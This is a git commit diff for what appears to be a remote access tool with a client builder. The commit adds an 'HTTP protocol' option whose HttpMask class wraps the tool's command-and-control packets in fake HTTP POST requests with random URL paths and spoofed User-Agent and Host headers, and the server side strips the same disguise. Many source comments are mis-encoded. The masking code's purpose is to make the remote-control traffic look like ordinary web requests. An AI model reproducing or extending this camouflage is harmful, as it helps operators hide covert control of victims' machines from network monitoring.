Feature: Support HTTP protocol and add building option

This commit is contained in:
yuanyuanxiang
2025-07-12 20:27:14 +08:00
parent 45e7950bb7
commit db6b55d59b
12 changed files with 262 additions and 24 deletions

View File

@@ -143,6 +143,14 @@ ULONG CBuffer::GetBufferLength() const
}
void CBuffer::Skip(ULONG ulPos) {
if (ulPos == 0)
return;
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
m_Ptr -= ulPos;
}
PBYTE CBuffer::GetBuffer(ULONG ulPos) const
{
if (m_Base==NULL || ulPos>=(m_Ptr - m_Base))

View File

@@ -15,6 +15,7 @@ public:
BOOL ReAllocateBuffer(ULONG ulLength);
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
PBYTE GetBuffer(ULONG ulPos=0) const;
void Skip(ULONG ulPos);
protected:
PBYTE m_Base;

View File

@@ -96,11 +96,12 @@ VOID IOCPClient::setManagerCallBack(void* Manager, DataProcessCB dataProcess)
}
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect) : g_bExit(bExit)
IOCPClient::IOCPClient(State&bExit, bool exit_while_disconnect, int mask) : g_bExit(bExit)
{
m_ServerAddr = {};
m_nHostPort = 0;
m_Manager = NULL;
m_masker = mask ? new HttpMask("example.com") : new PkgMask();
#ifdef _WIN32
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
@@ -147,6 +148,7 @@ IOCPClient::~IOCPClient()
ZSTD_freeCCtx(m_Cctx);
ZSTD_freeDCtx(m_Dctx);
#endif
m_masker->Destroy();
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡIP<49><50>ַ
@@ -196,6 +198,7 @@ BOOL IOCPClient::ConnectServer(const char* szServerIP, unsigned short uPort)
SetServerAddress(szServerIP, uPort);
}
m_sCurIP = m_Domain.SelectIP();
m_masker->SetServer(m_sCurIP.c_str());
unsigned short port = m_nHostPort;
m_sClientSocket = socket(AF_INET,SOCK_STREAM, IPPROTO_TCP); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
@@ -362,8 +365,16 @@ VOID IOCPClient::OnServerReceiving(char* szBuffer, ULONG ulLength)
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7>С <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǾͲ<C7BE><CDB2><EFBFBD><EFBFBD><EFBFBD>ȷ<EFBFBD><C8B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
while (m_CompressedBuffer.GetBufferLength() > HDR_LENGTH)
{
// UnMask
char* src = (char*)m_CompressedBuffer.GetBuffer();
ULONG srcSize = m_CompressedBuffer.GetBufferLength();
ULONG ret = m_masker->UnMask(src, srcSize);
m_CompressedBuffer.Skip(ret);
if (m_CompressedBuffer.GetBufferLength() <= HDR_LENGTH)
break;
char szPacketFlag[FLAG_LENGTH + 3] = {0};
LPBYTE src = m_CompressedBuffer.GetBuffer();
src = (char*)m_CompressedBuffer.GetBuffer();
CopyMemory(szPacketFlag, src, FLAG_LENGTH);
//<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>ͷ
if (memcmp(m_szPacketFlag, szPacketFlag, FLAG_LENGTH) != 0)
@@ -431,6 +442,7 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
AUTO_TICK(50);
assert (ulOriginalLength > 0);
{
int cmd = BYTE(szBuffer[0]);
//<2F><><EFBFBD><EFBFBD>1.001<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҳ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ռ<EFBFBD>õ<EFBFBD><EFBFBD>ڴ<EFBFBD><EFBFBD>ռ<EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><EFBFBD>һ<EFBFBD><EFBFBD> +12
//<2F><>ֹ<EFBFBD><D6B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>// HelloWorld 10 22
//<2F><><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9> ѹ<><D1B9><EFBFBD>㷨 ΢<><CEA2><EFBFBD>
@@ -470,14 +482,22 @@ BOOL IOCPClient::OnServerSending(const char* szBuffer, ULONG ulOriginalLength)
if (CompressedBuffer != buf) delete [] CompressedBuffer;
// <20>ֿ鷢<D6BF><E9B7A2>
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER);
return SendWithSplit((char*)m_WriteBuffer.GetBuffer(), m_WriteBuffer.GetBufferLength(), MAX_SEND_BUFFER, cmd);
}
}
// 5 2 // 2 2 1
BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength)
BOOL IOCPClient::SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd)
{
if (src == nullptr || srcSize == 0 || ulSplitLength == 0)
return FALSE;
// Mask
char* szBuffer = nullptr;
ULONG ulLength = 0;
m_masker->Mask(szBuffer, ulLength, (char*)src, srcSize, cmd);
AUTO_TICK(25);
bool isFail = false;
int iReturn = 0; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˶<EFBFBD><CBB6><EFBFBD>
const char* Travel = szBuffer;
int i = 0;
@@ -497,14 +517,15 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
}
if (j == ulSendRetry)
{
return FALSE;
isFail = true;
break;
}
ulSended += iReturn;
Travel += ulSplitLength;
}
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>IJ<EFBFBD><C4B2><EFBFBD>
if (i>0) //1024
if (!isFail && i>0) //1024
{
int j = 0;
for (; j < ulSendRetry; j++)
@@ -518,10 +539,15 @@ BOOL IOCPClient::SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSpl
}
if (j == ulSendRetry)
{
return FALSE;
isFail = true;
}
ulSended += iReturn;
}
if (szBuffer != src)
SAFE_DELETE_ARRAY(szBuffer);
if (isFail) {
return FALSE;
}
return (ulSended == ulLength) ? TRUE : FALSE;
}

View File

@@ -12,9 +12,9 @@
#endif
#include "Buffer.h"
#include "common/commands.h"
#include "zstd/zstd.h"
#include "domain_pool.h"
#include "common/mask.h"
#define MAX_RECV_BUFFER 1024*32
#define MAX_SEND_BUFFER 1024*32
@@ -57,7 +57,7 @@ public:
class IOCPClient
{
public:
IOCPClient(State& bExit, bool exit_while_disconnect = false);
IOCPClient(State& bExit, bool exit_while_disconnect = false, int mask=0);
virtual ~IOCPClient();
int SendLoginInfo(const LOGIN_INFOR& logInfo) {
@@ -110,7 +110,7 @@ protected:
BOOL OnServerSending(const char* szBuffer, ULONG ulOriginalLength);
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
VOID OnServerReceiving(char* szBuffer, ULONG ulReceivedLength);
BOOL SendWithSplit(const char* szBuffer, ULONG ulLength, ULONG ulSplitLength);
BOOL SendWithSplit(const char* src, ULONG srcSize, ULONG ulSplitLength, int cmd);
protected:
sockaddr_in m_ServerAddr;
@@ -134,4 +134,5 @@ protected:
std::string m_sCurIP;
int m_nHostPort;
bool m_exit_while_disconnect;
PkgMask* m_masker;
};

View File

@@ -21,7 +21,8 @@ IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_di
return new IOCPClient(bExit, exit_while_disconnect);
if (conn->protoType == PROTO_UDP)
return new IOCPUDPClient(bExit, exit_while_disconnect);
if (conn->protoType == PROTO_HTTP)
return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP);
return NULL;
}

View File

@@ -201,6 +201,7 @@
<ClCompile Include="X264Encoder.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\common\mask.h" />
<ClInclude Include="..\server\2015Remote\pwd_gen.h" />
<ClInclude Include="Audio.h" />
<ClInclude Include="AudioManager.h" />

155
common/mask.h Normal file
View File

@@ -0,0 +1,155 @@
#pragma once
#include "commands.h"
// 数据包协议封装格式
// Copy left: 962914132@qq.com & ChatGPT
enum PkgMaskType {
MaskTypeUnknown = -1,
MaskTypeNone,
MaskTypeHTTP,
MaskTypeNum,
};
inline ULONG UnMaskHttp(char* src, ULONG srcSize) {
const char* header_end_mark = "\r\n\r\n";
const ULONG mark_len = 4;
// 查找 HTTP 头部结束标记
for (ULONG i = 0; i + mark_len <= srcSize; ++i) {
if (memcmp(src + i, header_end_mark, mark_len) == 0) {
return i + mark_len; // 返回 Body 起始位置
}
}
return 0; // 无效数据
}
// TryUnMask 尝试去掉伪装的协议头.
inline ULONG TryUnMask(char* src, ULONG srcSize, PkgMaskType& maskHit) {
if (srcSize >= 5 && memcmp(src, "POST ", 5) == 0) {
maskHit = MaskTypeHTTP;
return UnMaskHttp(src, srcSize);
}
maskHit = MaskTypeNone;
return 0;
}
// PkgMask 针对消息进一步加密、混淆或伪装.
class PkgMask {
protected:
virtual ~PkgMask() {}
public:
virtual void Destroy() {
delete this;
}
virtual void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) {
dst = src;
dstSize = srcSize;
}
virtual ULONG UnMask(char* src, ULONG srcSize) {
return 0;
}
virtual void SetServer(const char* addr) {}
};
class HttpMask : public PkgMask {
public:
/**
* @brief 构造函数
* @param host HTTP Host 头字段
*/
explicit HttpMask(const std::string& host) : product_(GenerateRandomString()), host_(host) {
// 初始化随机数生成器
srand(static_cast<unsigned>(time(nullptr)));
char buf[32];
sprintf_s(buf, "V%d.%d.%d", rand() % 10, rand() % 10, rand() % 10);
version_ = buf;
user_agent_ = GetEnhancedSystemUA(product_, version_);
}
/**
* @brief 将原始数据伪装为 HTTP 请求
* @param dst [输出] 伪装后的数据缓冲区(需调用者释放)
* @param dstSize [输出] 伪装后数据长度
* @param src 原始数据指针
* @param srcSize 原始数据长度
* @param cmd 命令号
*/
void Mask(char*& dst, ULONG& dstSize, char* src, ULONG srcSize, int cmd = -1) {
// 生成动态 HTTP 头部
std::string http_header =
"POST " + GeneratePath(cmd) + " HTTP/1.1\r\n"
"Host: " + host_ + "\r\n"
"User-Agent: " + user_agent_ + "\r\n"
"Content-Type: application/octet-stream\r\n"
"Content-Length: " + std::to_string(srcSize) + "\r\n"
"Connection: keep-alive\r\n"
"\r\n"; // 空行分隔头部和 Body
// 分配输出缓冲区
dstSize = static_cast<ULONG>(http_header.size()) + srcSize;
dst = new char[dstSize];
// 拷贝数据HTTP 头部 + 原始数据
memcpy(dst, http_header.data(), http_header.size());
memcpy(dst + http_header.size(), src, srcSize);
}
/**
* @brief 从 HTTP 数据中提取原始数据起始位置
* @param src 收到的 HTTP 数据
* @param srcSize 数据长度
* @return ULONG 原始数据在 src 中的起始偏移量(失败返回 0
*/
ULONG UnMask(char* src, ULONG srcSize) {
return UnMaskHttp(src, srcSize);
}
void SetServer(const char* addr) {
host_ = addr;
}
private:
static std::string GetEnhancedSystemUA(const std::string& appName, const std::string& appVersion) {
#ifdef _WIN32
OSVERSIONINFOEX osvi = {};
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
GetVersionEx((OSVERSIONINFO*)&osvi);
// 获取系统架构
SYSTEM_INFO si;
GetNativeSystemInfo(&si);
std::string arch = (si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64) ? "Win64; x64" :
(si.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_ARM64) ? "Win64; ARM64" :
"WOW64";
return "Mozilla/5.0 (" +
std::string("Windows NT ") +
std::to_string(osvi.dwMajorVersion) + "." +
std::to_string(osvi.dwMinorVersion) + "; " +
arch + ") " +
appName + "/" + appVersion;
#else
return "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36";
#endif
}
std::string host_; // 目标主机
std::string product_; // 产品名称
std::string version_; // 产品版本
std::string user_agent_;// 代理名称
/** 生成随机 URL 路径 */
std::string GenerateRandomString(int size = 8) const {
static const char charset[] = "abcdefghijklmnopqrstuvwxyz0123456789";
char path[32];
for (int i = 0; i < size; ++i) {
path[i] = charset[rand() % (sizeof(charset) - 1)];
}
path[size] = 0;
return path;
}
std::string GeneratePath(int cmd) const {
static std::string root = "/" + product_ + "/" + GenerateRandomString() + "/";
return root + (cmd == -1 ? GenerateRandomString() : std::to_string(cmd));
}
};

View File

@@ -186,6 +186,18 @@ ULONG CBuffer::GetBufferLength() //
return len;
}
void CBuffer::Skip(ULONG ulPos) {
if (ulPos == 0)
return;
EnterCriticalSection(&m_cs);
MoveMemory(m_Base, m_Base + ulPos, m_ulMaxLength - ulPos);
m_Ptr -= ulPos;
LeaveCriticalSection(&m_cs);
}
// <20>˺<EFBFBD><CBBA><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƕ<EFBFBD><C7B6>̰߳<DFB3>ȫ<EFBFBD><C8AB>. ֻ<><D6BB>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><CAB9><EFBFBD><EFBFBD>.
LPBYTE CBuffer::GetBuffer(ULONG ulPos)
{

View File

@@ -75,12 +75,18 @@ public:
ULONG GetBufferLen() { return GetBufferLength(); }
VOID ClearBuffer();
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
BOOL Write(PBYTE Buffer, ULONG ulLength) { return WriteBuffer(Buffer, ulLength); }
BOOL Write(PBYTE Buffer, ULONG ulLength) {
return WriteBuffer(Buffer, ulLength);
}
BOOL WriteBuffer(CBuffer& buf) {
return WriteBuffer(buf.GetBuffer(), buf.GetBufferLen());
}
LPBYTE GetBuffer(ULONG ulPos=0);
Buffer GetMyBuffer(ULONG ulPos);
BYTE GetBYTE(ULONG ulPos);
BOOL CopyBuffer(PVOID pDst, ULONG nLen, ULONG ulPos);
ULONG RemoveCompletedBuffer(ULONG ulLength);
void Skip(ULONG ulPos);
protected:
PBYTE m_Base;

View File

@@ -261,6 +261,7 @@ BOOL CBuildDlg::OnInitDialog()
m_ComboProto.InsertString(PROTO_TCP, "TCP");
m_ComboProto.InsertString(PROTO_UDP, "UDP");
m_ComboProto.InsertString(PROTO_HTTP, "HTTP");
m_ComboProto.SetCurSel(PROTO_TCP);
m_OtherItem.ShowWindow(SW_HIDE);

View File

@@ -566,7 +566,7 @@ BOOL IOCPServer::OnClientReceiving(PCONTEXT_OBJECT ContextObject, DWORD dwTrans
BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOriginalLength) {
assert(ContextObject);
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD><EFBFBD>
unsigned cmd = szBuffer[0];
int cmd = szBuffer[0];
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
char buf[100] = { 0 };
@@ -589,7 +589,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
}
else if (ContextObject->CompressMethod == COMPRESS_NONE) {
Buffer tmp(szBuffer, ulOriginalLength); szBuffer = tmp.Buf();
ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength);
ContextObject->WriteBuffer(szBuffer, ulOriginalLength, ulOriginalLength, cmd);
break;
}
bool usingZstd = ContextObject->CompressMethod == COMPRESS_ZSTD;
@@ -616,7 +616,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
ulCompressedLength = usingZstd ? iRet : ulCompressedLength;
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength);
ContextObject->WriteBuffer(CompressedBuffer, ulCompressedLength, ulOriginalLength, cmd);
if (CompressedBuffer != buf) delete [] CompressedBuffer;
}while (false);

View File

@@ -1,7 +1,7 @@
#pragma once
#include "stdafx.h"
#include "common/commands.h"
#include "common/mask.h"
#include "common/header.h"
#include "common/encrypt.h"
@@ -64,6 +64,7 @@ class HeaderParser {
friend class CONTEXT_OBJECT;
protected:
HeaderParser() {
m_Masker = nullptr;
m_Encoder = nullptr;
m_Encoder2 = nullptr;
m_bParsed = FALSE;
@@ -74,11 +75,23 @@ protected:
virtual ~HeaderParser() {
Reset();
}
PR Parse(CBuffer& buf, int& compressMethod) {
PR Parse(CBuffer& buf, int& compressMethod, const std::string &peer) {
const int MinimumCount = MIN_COMLEN;
if (buf.GetBufferLength() < MinimumCount) {
return PR{ PARSER_NEEDMORE };
}
// UnMask
char* src = (char*)buf.GetBuffer();
ULONG srcSize = buf.GetBufferLength();
PkgMaskType maskType = MaskTypeUnknown;
ULONG ret = TryUnMask(src, srcSize, maskType);
if (nullptr == m_Masker) {
m_Masker = maskType ? new HttpMask(peer) : new PkgMask();
}
buf.Skip(ret);
if ((maskType && ret == 0) || (buf.GetBufferLength() <= MinimumCount))
return PR{ PARSER_NEEDMORE };
char szPacketFlag[32] = { 0 };
buf.CopyBuffer(szPacketFlag, MinimumCount, 0);
HeaderEncType encTyp = HeaderEncUnknown;
@@ -161,6 +174,10 @@ protected:
return m_nFlagType == FLAG_HELLO || m_nFlagType == FLAG_HELL;
}
HeaderParser& Reset() {
if (m_Masker) {
m_Masker->Destroy();
m_Masker = nullptr;
}
SAFE_DELETE(m_Encoder);
SAFE_DELETE(m_Encoder2);
m_bParsed = FALSE;
@@ -199,6 +216,7 @@ private:
char m_szPacketFlag[32]; // <20>Ա<EFBFBD><D4B1><EFBFBD>Ϣ
Encoder* m_Encoder; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
Encoder* m_Encoder2; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>2
PkgMask* m_Masker;
};
enum IOType
@@ -393,7 +411,7 @@ public:
return InDeCompressedBuffer.GetBYTE(offset);
}
// Write compressed buffer.
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen) {
void WriteBuffer(LPBYTE data, ULONG dataLen, ULONG originLen, int cmd = -1) {
if (Parser.IsParsed()) {
ULONG totalLen = dataLen + Parser.GetHeaderLen();
BYTE szPacketFlag[32] = {};
@@ -401,18 +419,26 @@ public:
memcpy(szPacketFlag, Parser.GetFlag(), flagLen);
if (Parser.IsEncodeHeader())
encrypt(szPacketFlag, FLAG_COMPLEN, szPacketFlag[flagLen - 2]);
OutCompressedBuffer.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
OutCompressedBuffer.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
CBuffer buf;
buf.WriteBuffer((LPBYTE)szPacketFlag, flagLen);
buf.WriteBuffer((PBYTE)&totalLen, sizeof(ULONG));
if (Parser.GetFlagType() == FLAG_WINOS) {
memcpy(szPacketFlag, Parser.GetFlag(), 10);
OutCompressedBuffer.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
buf.WriteBuffer((PBYTE)Parser.GetFlag(), 10);
}
else {
OutCompressedBuffer.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
buf.WriteBuffer((PBYTE)&originLen, sizeof(ULONG));
InDeCompressedBuffer.CopyBuffer(szPacketFlag + flagLen, 16, 16);
}
Encode2(data, dataLen, szPacketFlag);
OutCompressedBuffer.WriteBuffer(data, dataLen);
buf.WriteBuffer(data, dataLen);
// Mask
char* src = (char*)buf.GetBuffer(), *szBuffer = nullptr;
ULONG ulLength = 0;
Parser.m_Masker->Mask(szBuffer, ulLength, src, buf.GetBufferLen(), cmd);
OutCompressedBuffer.WriteBuffer((LPBYTE)szBuffer, ulLength);
if (szBuffer != src)
SAFE_DELETE_ARRAY(szBuffer);
}
}
// Read compressed buffer.
@@ -438,7 +464,7 @@ public:
}
// Parse the data to make sure it's from a supported client. The length of `Header Flag` will be returned.
PR Parse(CBuffer& buf) {
return Parser.Parse(buf, CompressMethod);
return Parser.Parse(buf, CompressMethod, PeerName);
}
// Encode data before compress.
void Encode(PBYTE data, int len) const {